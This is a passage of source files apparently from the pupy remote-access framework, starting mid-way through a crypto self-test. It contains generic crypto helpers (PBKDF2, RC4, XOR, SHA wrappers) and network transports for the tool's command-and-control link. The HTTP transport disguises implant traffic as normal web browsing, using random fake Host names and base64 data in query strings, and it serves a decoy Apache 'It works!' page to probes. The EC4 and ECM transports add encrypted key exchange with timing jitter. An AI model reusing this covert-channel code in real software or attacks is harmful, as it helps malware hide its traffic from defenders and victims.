x.decode(x.encode(msg, 0), 0)\n        if not msg == msg2:\n            print(\"VRFY1 FAIL: \", msg2)\n            break\n\n        signer = ECPV(private_key=priv, curve='brainpoolP384r1')\n        verifier = ECPV(public_key=pub, curve='brainpoolP384r1')\n\n        if not signer._public_key_digest == verifier._public_key_digest:\n            print(\"PSK FAIL\")\n            break\n\n        if not verifier.decrypt(signer.encrypt(msg, 0), 0) == msg:\n            print(\"DEC FAIL\")\n            break\n\n        msg3 = verifier.decode(signer.encode(msg, 0), 0)\n        if not msg == msg3:\n            print(\"VRFY2 FAIL: \", msg3)\n            break\n\n        msg41 = msg + '1234'\n        msg4 = verifier.unpack(signer.pack(msg41))\n        if not msg41 == msg4:\n            print(\"VRFY3 FAIL: \", msg4)\n            break\n\n        req = verifier.generate_kex_request()\n        resp, key = signer.process_kex_request(req, 0)\n        key2 = verifier.process_kex_response(resp, 0)\n        if not list(key) == list(reversed(key2)):\n            print(\"KEX FAILED\", key, key2)\n            break\n"
  },
  {
    "path": "pupy/network/lib/transports/cryptoutils/pbkdf2.py",
    "content": "# -*- coding: utf-8 -*-\n\"\"\"\n    pbkdf2\n    ~~~~~~\n\n    This module implements pbkdf2 for Python.  It also has some basic\n    tests that ensure that it works.  The implementation is straightforward\n    and uses stdlib only stuff and can be easily be copy/pasted into\n    your favourite application.\n\n    Use this as replacement for bcrypt that does not need a c implementation\n    of a modified blowfish crypto algo.\n\n    Example usage:\n\n    >>> pbkdf2_hex('what i want to hash', 'the random salt')\n    'fa7cc8a2b0a932f8e6ea42f9787e9d36e592e0c222ada6a9'\n\n    How to use this:\n\n    1.  Use a constant time string compare function to compare the stored hash\n        with the one you're generating::\n\n            def safe_str_cmp(a, b):\n                if len(a) != len(b):\n                    return False\n                rv = 0\n                for x, y in izip(a, b):\n                    rv |= ord(x) ^ ord(y)\n                return rv == 0\n\n    2.  Use `os.urandom` to generate a proper salt of at least 8 byte.\n        Use a unique salt per hashed password.\n\n    3.  Store ``algorithm$salt:costfactor$hash`` in the database so that\n        you can upgrade later easily to a different algorithm if you need\n        one.  For instance ``PBKDF2-256$thesalt:10000$deadbeef...``.\n\n\n    :copyright: (c) Copyright 2011 by Armin Ronacher.\n    :license: BSD, see LICENSE for more details.\n\"\"\"\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport sys\nimport hmac\nimport hashlib\nimport codecs\n\nfrom struct import Struct\nfrom operator import xor\nfrom itertools import starmap\n\nif sys.version_info.major > 2:\n    xrange = range\n    izip = zip\n\n    def _pseudorandom(x, mac):\n        h = mac.copy()\n        h.update(x)\n        return h.digest()\n\n    def _as_bytes(x):\n        return bytes(x)\n\nelse:\n    from itertools import izip\n\n    def _pseudorandom(x, mac):\n        h = mac.copy()\n        h.update(x)\n        return map(ord, h.digest())\n\n    def _as_bytes(x):\n        return b''.join(map(chr, x))\n\n_pack_int = Struct('>I').pack\n\n\ndef pbkdf2_hex(data, salt, iterations=1000, keylen=24, hashfunc=None):\n    \"\"\"Like :func:`pbkdf2_bin` but returns a hex encoded string.\"\"\"\n    return codecs.encode(\n        pbkdf2_bin(data, salt, iterations, keylen, hashfunc),\n        'hex'\n    )\n\n\ndef pbkdf2_bin(data, salt, iterations=1000, keylen=24, hashfunc=None):\n    \"\"\"Returns a binary digest for the PBKDF2 hash algorithm of `data`\n    with the given `salt`.  It iterates `iterations` time and produces a\n    key of `keylen` bytes.  By default SHA-1 is used as hash function,\n    a different hashlib `hashfunc` can be provided.\n    \"\"\"\n    hashfunc = hashfunc or hashlib.sha1\n    mac = hmac.new(data, None, hashfunc)\n\n    buf = []\n\n    for block in xrange(1, -(-keylen // mac.digest_size) + 1):\n        rv = u = _pseudorandom(salt + _pack_int(block), mac)\n        for i in xrange(iterations - 1):\n            u = _pseudorandom(_as_bytes(u), mac)\n            rv = starmap(xor, izip(rv, u))\n\n        buf.extend(rv)\n\n    return _as_bytes(buf)[:keylen]\n\n\ndef test():\n    failed = []\n\n    def check(data, salt, iterations, keylen, expected):\n        rv = pbkdf2_hex(data, salt, iterations, keylen)\n        if rv != expected:\n            print('Test failed:')\n            print('  Expected:   %s' % expected)\n            print('  Got:        %s' % rv)\n            print('  Parameters:')\n            print('    data=%s' % data)\n            print('    salt=%s' % salt)\n            print('    iterations=%d' % iterations)\n            print()\n            failed.append(1)\n\n    # From RFC 6070\n    check(b'password', b'salt', 1, 20,\n          b'0c60c80f961f0e71f3a9b524af6012062fe037a6')\n    check(b'password', b'salt', 2, 20,\n          b'ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957')\n    check(b'password', b'salt', 4096, 20,\n          b'4b007901b765489abead49d926f721d065a429c1')\n    check(b'passwordPASSWORDpassword', b'saltSALTsaltSALTsaltSALTsaltSALTsalt',\n          4096, 25, b'3d2eec4fe41c849b80c8d83662c0e44a8b291a964cf2f07038')\n    check(b'pass\\x00word', b'sa\\x00lt', 4096, 16,\n          b'56fa6aa75548099dcc37d7f03425e0c3')\n    # This one is from the RFC but it just takes for ages\n    ##check('password', 'salt', 16777216, 20,\n    ##      'eefe3d61cd4da4e4e9945b3d6ba2158c2634e984')\n\n    # From Crypt-PBKDF2\n    check(b'password', b'ATHENA.MIT.EDUraeburn', 1, 16,\n          b'cdedb5281bb2f801565a1122b2563515')\n    check(b'password', b'ATHENA.MIT.EDUraeburn', 1, 32,\n          b'cdedb5281bb2f801565a1122b25635150ad1f7a04bb9f3a333ecc0e2e1f70837')\n    check(b'password', b'ATHENA.MIT.EDUraeburn', 2, 16,\n          b'01dbee7f4a9e243e988b62c73cda935d')\n    check(b'password', b'ATHENA.MIT.EDUraeburn', 2, 32,\n          b'01dbee7f4a9e243e988b62c73cda935da05378b93244ec8f48a99e61ad799d86')\n    check(b'password', b'ATHENA.MIT.EDUraeburn', 1200, 32,\n          b'5c08eb61fdf71e4e4ec3cf6ba1f5512ba7e52ddbc5e5142f708a31e2e62b1e13')\n    check(b'X' * 64, b'pass phrase equals block size', 1200, 32,\n          b'139c30c0966bc32ba55fdbf212530ac9c5ec59f1a452f5cc9ad940fea0598ed1')\n    check(b'X' * 65, b'pass phrase exceeds block size', 1200, 32,\n          b'9ccad6d468770cd51b10e6a68721be611a8b4d282601db3b36be9246915ec82a')\n\n    raise SystemExit(bool(failed))\n\n\nif __name__ == '__main__':\n    test()\n"
  },
  {
    "path": "pupy/network/lib/transports/cryptoutils/rc4.py",
    "content": "#!/usr/bin/env python\n\n\"\"\"\n    Copyright (C) 2012 Bo Zhu http://about.bozhu.me\n\n    Permission is hereby granted, free of charge, to any person obtaining a\n    copy of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and/or sell copies of the Software, and to permit persons to whom the\n    Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included in\n    all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n    DEALINGS IN THE SOFTWARE.\n\"\"\"\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\n\ndef KSA(key):\n    keylength = len(key)\n\n    S = range(256)\n\n    j = 0\n    for i in range(256):\n        j = (j + S[i] + key[i % keylength]) % 256\n        S[i], S[j] = S[j], S[i]  # swap\n\n    return S\n\n\ndef PRGA(S):\n    i = 0\n    j = 0\n    while True:\n        i = (i + 1) % 256\n        j = (j + S[i]) % 256\n        S[i], S[j] = S[j], S[i]  # swap\n\n        K = S[(S[i] + S[j]) % 256]\n        yield K\n\n\nclass RC4(object):\n    __slots__ = ('prga',)\n\n    def __init__(self, key):\n        key = tuple(ord(x) for x in key)\n        self.prga = PRGA(KSA(key))\n\n    def encrypt(self, data):\n        return b''.join(chr(ord(x)^next(self.prga)) for x in data)\n\n    def decrypt(self, data):\n        return b''.join(chr(ord(x)^next(self.prga)) for x in data)\n\n\nif __name__ == '__main__':\n    # test vectors are from http://en.wikipedia.org/wiki/RC4\n\n    # ciphertext should be BBF316E8D940AF0AD3\n    key = 'Key'\n    plaintext = 'Plaintext'\n\n    # ciphertext should be 1021BF0420\n    #key = 'Wiki'\n    #plaintext = 'pedia'\n\n    # ciphertext should be 45A01F645FC35B383552544B9BF5\n    #key = 'Secret'\n    #plaintext = 'Attack at dawn'\n\n    def convert_key(s):\n        return [ord(c) for c in s]\n    key = convert_key(key)\n\n    keystream = RC4(key)\n\n    import sys\n    for c in plaintext:\n        sys.stdout.write(\"%02X\" % (ord(c) ^ next(keystream)))\n    print()\n"
  },
  {
    "path": "pupy/network/lib/transports/cryptoutils/sha.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    'SHA1', 'SHA256', 'SHA384', 'SHA3_256', 'SHA3_512'\n)\n\ntry:\n    from Crypto.Hash import SHA1, SHA256, SHA384, SHA3_256, SHA3_512\nexcept ImportError:\n    # Not implemented for now\n    SHA3_256 = None\n    SHA3_512 = None\n\n    from hashlib import sha1, sha256, sha384\n\n    class SHA1(object):\n        __slots__ = ()\n\n        @staticmethod\n        def new(*args):\n            return sha1(*args)\n\n    class SHA256(object):\n        __slots__ = ()\n\n        @staticmethod\n        def new(*args):\n            return sha256(*args)\n\n    class SHA384(object):\n        __slots__ = ()\n\n        @staticmethod\n        def new(*args):\n            return sha384(*args)\n"
  },
  {
    "path": "pupy/network/lib/transports/cryptoutils/xor.py",
    "content": "# -*- coding: utf-8 -*-\n\nclass XOR(object):\n    __slots__ = ('offset', 'key')\n\n    def __init__(self, key, offset=0):\n        if not isinstance(key, bytes):\n            key = key.encode('latin1')\n\n        self.key = bytearray(key)\n        self.offset = offset\n\n    def strxor(self, data):\n        key = self.key\n        lkey = len(key)\n        ldata = len(data)\n        offset = self.offset\n\n        result = bytearray(ldata)\n\n        if ldata and not isinstance(data[0], int):\n            if isinstance(data, bytes):\n                data = bytearray(data)\n            else:\n                data = bytearray(data.encode('latin1'))\n\n        for idx, c1 in enumerate(data):\n            result[idx] = c1 ^ key[(offset+idx) % lkey]\n\n        self.offset += idx+1\n        return result\n"
  },
  {
    "path": "pupy/network/lib/transports/dummy.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = ['DummyPupyTransport']\n\nfrom ..base import BasePupyTransport\n\nclass DummyPupyTransport(BasePupyTransport):\n    __slots__ = ()\n\n    def downstream_recv(self, data):\n        \"\"\"\n        receiving obfuscated data from the remote client and writing deobfuscated data to downstream\n        \"\"\"\n        data.write_to(self.upstream)\n\n    def upstream_recv(self, data):\n        \"\"\"\n        receiving clear-text data from local rpyc Stream and writing obfuscated data to upstream\n        \"\"\"\n        data.write_to(self.downstream)\n"
  },
  {
    "path": "pupy/network/lib/transports/ec4.py",
    "content": "# -*- coding: utf-8 -*-\n\n\"\"\" EC4 PSK transport \"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ['EC4TransportServer', 'EC4TransportClient']\n\nfrom ..base import BasePupyTransport\nfrom .cryptoutils import RC4, SHA384, ECPV\n\nfrom pupy.network.lib.buffer import Buffer\n\nimport struct\nimport time\nimport random\n\n\nclass EC4Transport(BasePupyTransport):\n\n    __slots__ = (\n        'encoder', 'encryptor',\n        'decryptor', 'up_buffer'\n    )\n\n    privkey = None\n    pubkey  = None\n\n    def __init__(self, *args, **kwargs):\n        super(EC4Transport, self).__init__(*args, **kwargs)\n        if not self.pubkey and not self.privkey:\n            raise ValueError('Public or Private key required for EC4')\n\n        if self.pubkey:\n            self.encoder = ECPV(\n                curve='brainpoolP384r1',\n                public_key=self.pubkey,\n                hash=SHA384\n            )\n        else:\n            self.encoder = ECPV(\n                curve='brainpoolP384r1',\n                private_key=self.privkey,\n                hash=SHA384\n            )\n\n        self.encryptor = None\n        self.decryptor = None\n        self.up_buffer = Buffer()\n\n    def kex(self, data):\n        if len(data) < 2:\n            return False\n\n        length, = struct.unpack_from('H', data.peek(2))\n        if len(data) < 2 + length:\n            return False\n\n        request = data.read(2 + length)\n\n        if self.privkey:\n            try:\n                response, key = self.encoder.process_kex_request(request[2:], 0, key_size=128)\n            except ValueError as e:\n                raise EOFError(str(e))\n\n            # Add jitter, tinyec is quite horrible\n            time.sleep(random.random())\n            self.downstream.write(struct.pack('H', len(response)) + response)\n        else:\n            try:\n                key = self.encoder.process_kex_response(request[2:], 0, key_size=128)\n            except ValueError as e:\n                raise EOFError(str(e))\n\n        self.encryptor = RC4(key=key[0])\n        self.decryptor = RC4(key=key[1])\n\n        # https://wikileaks.org/ciav7p1/cms/files/NOD%20Cryptographic%20Requirements%20v1.1%20TOP%20SECRET.pdf\n        # Okay...\n        self.encryptor.encrypt(b'\\x00'*3072)\n        self.decryptor.decrypt(b'\\x00'*3072)\n        return True\n\n    def downstream_recv(self, data):\n        if self.encryptor:\n            data.write_to(self.upstream, modificator=self.decryptor.decrypt)\n\n        elif self.kex(data):\n            if self.up_buffer:\n                self.up_buffer.write_to(self.downstream, modificator=self.encryptor.encrypt)\n                self.up_buffer = None\n\n            if len(data):\n                data.write_to(self.upstream, modificator=self.decryptor.decrypt)\n\n    def upstream_recv(self, data):\n        if self.encryptor:\n            data.write_to(self.downstream, modificator=self.encryptor.encrypt)\n        else:\n            data.write_to(self.up_buffer)\n\n\nclass EC4TransportServer(EC4Transport):\n    __slots__ = ()\n\n\nclass EC4TransportClient(EC4Transport):\n    __slots__ = ()\n\n    def on_connect(self):\n        req = self.encoder.generate_kex_request()\n        self.downstream.write(\n            struct.pack('H', len(req)) + req\n        )\n"
  },
  {
    "path": "pupy/network/lib/transports/ecm.py",
    "content": "# -*- coding: utf-8 -*-\n\n\"\"\" EC4 PSK transport \"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = ('ECMTransportServer', 'ECMTransportClient')\n\nfrom ..base import BasePupyTransport\nfrom .cryptoutils import ECPV\n\nfrom pupy.network.lib.buffer import Buffer\n\nimport struct\nimport time\nimport random\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Hash   import SHA3_224\nfrom Crypto.Hash   import SHA384\nfrom Crypto.Random import get_random_bytes\n\nclass ECMTransport(BasePupyTransport):\n    __slots__ = (\n        'encryptor', 'decryptor',\n        'up_buffer', 'dec_buffer',\n        'nonce', 'key', 'chunk_len',\n        'need_validation', 'encoder'\n    )\n\n    privkey = None\n    pubkey  = None\n\n    def __init__(self, *args, **kwargs):\n        super(ECMTransport, self).__init__(*args, **kwargs)\n        if not self.pubkey and not self.privkey:\n            raise ValueError('Public or Private key required for ECM')\n\n        if self.pubkey:\n            self.encoder = ECPV(\n                curve='brainpoolP384r1',\n                public_key=self.pubkey,\n                hash=SHA384\n            )\n        else:\n            self.encoder = ECPV(\n                curve='brainpoolP384r1',\n                private_key=self.privkey,\n                hash=SHA384\n            )\n\n        self.encryptor       = None\n        self.decryptor       = None\n        self.up_buffer       = Buffer()\n        self.dec_buffer      = Buffer()\n        self.nonce           = None\n        self.key             = None\n        self.chunk_len       = 0\n        self.need_validation = False\n\n    def update_encryptor(self):\n        vblock = self.encryptor.digest()\n\n        h = SHA3_224.new()\n        h.update(self.key[0])\n        h.update(vblock)\n        self.encryptor = AES.new(\n            key=self.key[0], mode=AES.MODE_GCM, nonce=h.digest()\n        )\n\n        return vblock\n\n    def update_decryptor(self, vblock):\n        self.decryptor.verify(vblock)\n\n        h = SHA3_224.new()\n        h.update(self.key[1])\n        h.update(vblock)\n        self.decryptor = AES.new(\n            key=self.key[1], mode=AES.MODE_GCM, nonce=h.digest()\n        )\n\n    def kex(self, data):\n        if len(data) < 4:\n            return False\n\n        reqlen, noncelen = struct.unpack_from('<HH', data.peek(4))\n        if len(data) < 4 + reqlen + noncelen:\n            return False\n\n        data.drain(4)\n\n        request = data.read(reqlen)\n        remote_nonce = data.read(noncelen)\n\n        if self.privkey:\n            response, key = self.encoder.process_kex_request(request, 0)\n            # Add jitter, tinyec is quite horrible\n            time.sleep(random.random())\n            nonce = get_random_bytes(16)\n            self.downstream.write(struct.pack('<HH', len(response), len(nonce)) + response + nonce)\n        else:\n            key = self.encoder.process_kex_response(request, 0)\n            nonce = self.nonce\n\n        eh = SHA3_224.new()\n        eh.update(key[0])\n        eh.update(remote_nonce)\n        ek = eh.digest()[:16]\n\n        dh = SHA3_224.new()\n        dh.update(key[1])\n        dh.update(nonce)\n        dk = dh.digest()[:16]\n\n        self.key = (ek, dk)\n\n        self.encryptor = AES.new(key=self.key[0], mode=AES.MODE_GCM, nonce=nonce)\n        self.decryptor = AES.new(key=self.key[1], mode=AES.MODE_GCM, nonce=remote_nonce)\n\n        return True\n\n    def downstream_recv(self, data):\n        if self.decryptor:\n            while len(data):\n                if not self.chunk_len:\n                    if self.need_validation:\n                        if len(data) < 16:\n                            return\n\n                        vblock = data.read(16)\n                        self.update_decryptor(vblock)\n                        self.need_validation = False\n                        self.dec_buffer.write_to(self.upstream)\n\n                    if len(data) < 4:\n                        break\n\n                    raw_chunk_len = self.decryptor.decrypt(data.read(4))\n                    self.chunk_len, = struct.unpack('<I', raw_chunk_len)\n\n                if not len(data):\n                    break\n\n                nr, nw = data.write_to(\n                    self.dec_buffer,\n                    modificator=self.decryptor.decrypt,\n                    n=self.chunk_len)\n\n                self.chunk_len -= nr\n                if not self.chunk_len:\n                    self.need_validation = True\n\n        elif self.kex(data):\n            if len(self.up_buffer):\n                self.upstream_recv(self.up_buffer)\n\n            if len(data):\n                self.downstream_recv(data)\n\n    def upstream_recv(self, data):\n        if self.encryptor:\n            buf = Buffer()\n\n            ldata = len(data)\n            buf.write(self.encryptor.encrypt(struct.pack('<I', ldata)))\n            _, nw = data.write_to(buf, modificator=self.encryptor.encrypt, n=ldata)\n            d = self.update_encryptor()\n            buf.write(d)\n\n            buf.write_to(self.downstream)\n        else:\n            data.write_to(self.up_buffer)\n\nclass ECMTransportServer(ECMTransport):\n    __slots__ = ()\n\nclass ECMTransportClient(ECMTransport):\n    __slots__ = ()\n\n    def on_connect(self):\n        req = self.encoder.generate_kex_request()\n        self.nonce = get_random_bytes(16)\n        self.downstream.write(\n            struct.pack('<HH', len(req), len(self.nonce)) + req + self.nonce\n        )\n"
  },
  {
    "path": "pupy/network/lib/transports/http.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\n\"\"\" This module contains an implementation of the 'http' transport for pupy. \"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'InvalidHTTPReq',\n    'MalformedData',\n    'PupyHTTPClient',\n    'PupyHTTPServer',\n)\n\nfrom ..base import BasePupyTransport\nimport base64\nimport random\nimport string\nimport logging\nimport threading\nimport time\n\nerror_response_body = b'''<html><body><h1>It works!</h1>\n<p>This is the default web page for this server.</p>\n<p>The web server software is running but no content has been added, yet.</p>\n</body></html>'''\n\nerror_response = b'\\r\\n'.join((\n    b'HTTP/1.1 200 OK',\n    b'Server: Apache',\n    b'Content-Type: text/html; charset=utf-8',\n    b'Content-Length: %d' % len(error_response_body),\n    b'\\r\\n',\n    error_response_body\n))\n\n\nclass InvalidHTTPReq(Exception):\n    __slots__ = ()\n\n\nclass MalformedData(Exception):\n    __slots__ = ()\n\n\nclass PupyHTTPTransport(BasePupyTransport):\n    \"\"\"\n    Implements the http protocol transport for pupy.\n    \"\"\"\n    __slots__ = ()\n\n\nclass PupyHTTPClient(PupyHTTPTransport):\n    client = True\n    method = b'GET'\n    keep_alive = True\n    path = b'/index.php?d='\n    user_agent = b'Mozilla/5.0'\n    host = None # None for random\n    proxy = False\n    payload_max_size = 1024 * 3\n\n    __slots__ = (\n        'headers', 'polled', '_host', '_path'\n    )\n\n    def __init__(self, *args, **kwargs):\n        PupyHTTPTransport.__init__(self, *args, **kwargs)\n        self.headers = {\n            'User-Agent': self.user_agent,\n            'Connection': 'keep-alive',\n        }\n\n        self.polled = False\n\n        self._host = kwargs.get('host', getattr(self, 'host'))\n        self._path = kwargs.get('path', getattr(self, 'path'))\n\n        if self._host is not None:\n            self.headers['Host'] = self._host\n\n        if 'Host' not in self.headers:\n            self.headers['Host'] = '.'.join([\n                'www',\n                ''.join(\n                    random.choice(string.ascii_lowercase\n                ) for _ in range(0, random.randint(7,10))),\n                'com'\n            ])\n\n        if 'proxy' in kwargs:\n            self._path = 'http://{}{}'.format(self.headers['Host'], self._path)\n\n        if 'auth' in kwargs:\n            self.headers['Proxy-Authorization'] = \\\n              'Basic ' + base64.b64encode('{}:{}'.format(*kwargs['auth']))\n\n    def _upstream_recv(self, data):\n        try:\n            d = data.read(self.payload_max_size)\n\n            request = b'%s %s%s HTTP/1.1\\r\\n'%(\n                self.method, self._path, base64.urlsafe_b64encode(d))\n\n            for name, value in self.headers.items():\n                request += b'%s: %s\\r\\n'%(\n                    name.encode('ascii'), value.encode('ascii'))\n\n            if self.keep_alive:\n                request += b'Connection: keep-alive\\r\\n'\n\n            request += b'\\r\\n'\n\n            if not self.polled:\n                self.polled = True\n\n                request += b'%s %s%s HTTP/1.1\\r\\n'%(\n                    self.method.encode('ascii'), \n                    self._path.encode('ascii'), \n                    b'poll&_={}'.format(time.time())\n                )\n\n                for name, value in self.headers.items():\n                    request += b'%s: %s\\r\\n'%(\n                        name.encode('ascii'),\n                        value.encode('ascii')\n                    )\n\n                if self.keep_alive:\n                    request += b'Connection: keep-alive\\r\\n'\n\n                request += b'\\r\\n'\n\n            self.downstream.write(request)\n\n        except Exception as e:\n            logging.exception(e)\n\n    def upstream_recv(self, data):\n        \"\"\"\n            raw data to HTTP request\n        \"\"\"\n\n        while len(data) > 0:\n            self._upstream_recv(data)\n\n    def downstream_recv(self, data):\n        \"\"\"\n            HTTP response to raw data\n        \"\"\"\n        d = data.peek()\n        decoded_data = b''\n        poll_required = False\n        #let's parse HTTP responses :\n\n        while len(d)>0 and d.startswith(b'HTTP/1.1 ') and b'\\r\\n\\r\\n' in d:\n            head, rest = d.split(b'\\r\\n\\r\\n', 1)\n            _, rheaders = head.split(b'\\r\\n',1)\n            content_length = None\n            for name, value in [[i.strip() for i in x.split(b':',1)] for x in rheaders.split(b'\\r\\n')]:\n                if name.lower() == b'content-length':\n                    content_length = int(value)\n                elif name.lower() == b'x-poll-required':\n                    poll_required = True\n\n            if content_length is None:\n                logging.exception('dafuk ? content-length is None')\n                self.close()\n                return\n\n            elif len(rest) < content_length:\n                break\n\n            if content_length > 0:\n                decoded_data += base64.urlsafe_b64decode(\n                    rest[:content_length])\n\n            length_to_drain = content_length+4+len(head)\n\n            data.drain(length_to_drain)\n\n            d = d[length_to_drain:]\n\n        if decoded_data or poll_required:\n            self.upstream.write(decoded_data)\n\n            request = b'%s %s%s HTTP/1.1\\r\\n'%(\n                self.method.encode('ascii'),\n                self._path.encode('ascii'), \n                b'poll&_={}'.format(time.time())\n            )\n\n            for name, value in self.headers.items():\n                request += b'%s: %s\\r\\n'%(\n                    name.encode('ascii'),\n                    value.encode('ascii')\n                )\n\n            if self.keep_alive:\n                request += b'Connection: keep-alive\\r\\n'\n\n            request += b'\\r\\n'\n\n            self.downstream.write(request)\n\n\nclass PupyHTTPServer(PupyHTTPTransport):\n    client = False\n    response_code = '200 OK'\n    server_header = 'Apache'\n    path = '/index.php?d='\n    verify_user_agent = None # set to the user agent to verify or None not to verify\n\n    __slots__ = (\n        'headers',  'polled',\n        'pending_data', 'polled_lock', 'polled',\n        'no_pipelining_timeout', 'pipelining',\n        'last_access', 'poll_flusher_started',\n        'poll_flusher_thread'\n    )\n\n    def __init__(self, *args, **kwargs):\n        PupyHTTPTransport.__init__(self, *args, **kwargs)\n        self.pending_data = []\n        self.polled_lock = threading.Lock()\n        self.polled = 0\n        self.no_pipelining_timeout = 0.1\n        self.pipelining = threading.Event()\n        self.last_access = None\n        self.poll_flusher_started = False\n        self.poll_flusher_thread = None\n        self.headers = {\n            'Content-Type': 'text/html; charset=utf-8',\n            'Server': self.server_header,\n            'Connection': 'Keep-Alive',\n        }\n\n    def on_close(self):\n        self.pipelining.set()\n\n    def poll_flusher(self):\n        while not self.pipelining.is_set():\n            with self.polled_lock:\n                if not self.pending_data:\n                    if self.polled > 0 and (time.time() - self.last_access > self.no_pipelining_timeout):\n                        self.polled -= 1\n\n                        response = b'HTTP/1.1 %s\\r\\n' % self.response_code.encode('ascii')\n\n                        for name, value in self.headers.items():\n                            response += b'%s: %s\\r\\n' % (\n                                name.encode('ascii'),\n                                value.encode('ascii')\n                            )\n\n                        response += b'Content-Length: 0\\r\\n'\n\n                        if self.polled == 0:\n                            response += b'X-Poll-Required: true\\r\\n'\n\n                        response += b'\\r\\n'\n\n                        self.downstream.write(response)\n\n            time.sleep(self.no_pipelining_timeout)\n\n    def upstream_recv(self, data):\n        \"\"\"\n            raw data to HTTP response\n        \"\"\"\n        if self.closed:\n            return\n\n        encoded_data = None\n        payload = data.read()\n\n        with self.polled_lock:\n            if self.polled > 0:\n                self.polled -= 1\n\n                encoded_data = base64.urlsafe_b64encode(b''.join(self.pending_data) + payload)\n                self.pending_data = []\n\n            else:\n                self.pending_data.append(payload)\n\n            if encoded_data:\n                response = b'HTTP/1.1 %s\\r\\n' % self.response_code.encode('ascii')\n                for name, value in self.headers.items():\n                    response += b'%s: %s\\r\\n'%(\n                        name.encode('ascii'),\n                        value.encode('ascii')\n                    )\n\n                response += b'Content-Length: %s\\r\\n' % len(encoded_data)\n                response += b'\\r\\n'\n                response += encoded_data\n\n                self.downstream.write(response)\n\n    def http_req2data(self, s):\n        if not s.startswith((b'GET ', b'POST ', b'HEAD ', b'PUT ')):\n            raise InvalidHTTPReq()\n\n        first_line, headers = s.split(b'\\r\\n', 1)\n\n        if self.verify_user_agent is not None:\n            found_ua = False\n            try:\n                for name, value in [[i.strip() for i in x.split(b':',1)] for x in headers.split(b'\\r\\n')]:\n                    if name.lower() == b'user-agent':\n                        if value.strip() == self.verify_user_agent.strip():\n                            found_ua = True\n            except:\n                raise MalformedData('invalid user agent')\n\n            if not found_ua:\n                raise MalformedData('invalid user agent')\n\n        if not first_line.endswith(b' HTTP/1.1'):\n            raise InvalidHTTPReq()\n\n        method, path, http_ver=first_line.split()\n        payload = path[len(self._path):]\n\n        if payload.startswith(b'poll'):\n            return None\n\n        try:\n            decoded_data = base64.urlsafe_b64decode(payload)\n        except:\n            raise MalformedData(\"can't decode b64\")\n\n        return decoded_data\n\n    def downstream_recv(self, data):\n        \"\"\"\n            HTTP requests to raw data\n        \"\"\"\n\n        d = data.peek()\n        decoded_data = b''\n        tab = d.split(b'\\r\\n\\r\\n')\n\n        requests = 0\n\n        if not d.endswith(b'\\r\\n\\r\\n'):\n            tab = tab[:-1] #last part is not complete yet\n\n        for req in tab:\n            newdata = None\n\n            try:\n                if req:\n                    requests += 1\n\n                    newdata = self.http_req2data(req)\n                    if newdata is not None:\n                        decoded_data += newdata\n\n                    data.drain(len(req)+4)\n                else:\n                    continue\n\n            except (MalformedData, InvalidHTTPReq):\n                logging.exception('invalid/malformed data, answering 404 and closing connection')\n                self.downstream.write(error_response)\n                self.close()\n                return\n\n            except Exception as e:\n                logging.exception(e)\n                break\n\n            if newdata is not None:\n                response = b'HTTP/1.1 %s\\r\\n'%self.response_code.encode('ascii')\n\n                for name, value in self.headers.items():\n                    response += b'%s: %s\\r\\n'%(\n                        name.encode('ascii'),\n                        value.encode('ascii')\n                    )\n\n                response += b'Content-Length: 0\\r\\n'\n                response += b'\\r\\n'\n\n                with self.polled_lock:\n                    self.downstream.write(response)\n\n            else:\n                encoded_data = None\n\n                with self.polled_lock:\n                    pending_data = None\n\n                    if self.pending_data:\n                        pending_data = b''.join(self.pending_data)\n                        self.pending_data = []\n\n                    if pending_data:\n                        encoded_data = base64.urlsafe_b64encode(pending_data)\n                    else:\n                        self.polled += 1\n\n                    if encoded_data:\n                        response = b'HTTP/1.1 %s\\r\\n'%self.response_code.encode('ascii')\n                        for name, value in self.headers.items():\n                            response += b'%s: %s\\r\\n'%(\n                                name.encode('ascii'),\n                                value.encode('ascii')\n                            )\n\n                        response += b'Content-Length: %s\\r\\n'%len(encoded_data)\n                        response += b'\\r\\n'\n                        response += encoded_data\n\n                        self.downstream.write(response)\n\n        if decoded_data:\n            self.upstream.write(decoded_data)\n\n        if requests > 1:\n            self.pipelining.set()\n\n        if not self.pipelining.is_set() and self.polled:\n            with self.polled_lock:\n                self.last_access = time.time()\n\n            if not self.poll_flusher_started:\n                self.poll_flusher_started = True\n                self.poll_flusher_thread = threading.Thread(target=self.poll_flusher)\n                self.poll_flusher_thread.daemon = True\n                self.poll_flusher_thread.start()\n"
  },
  {
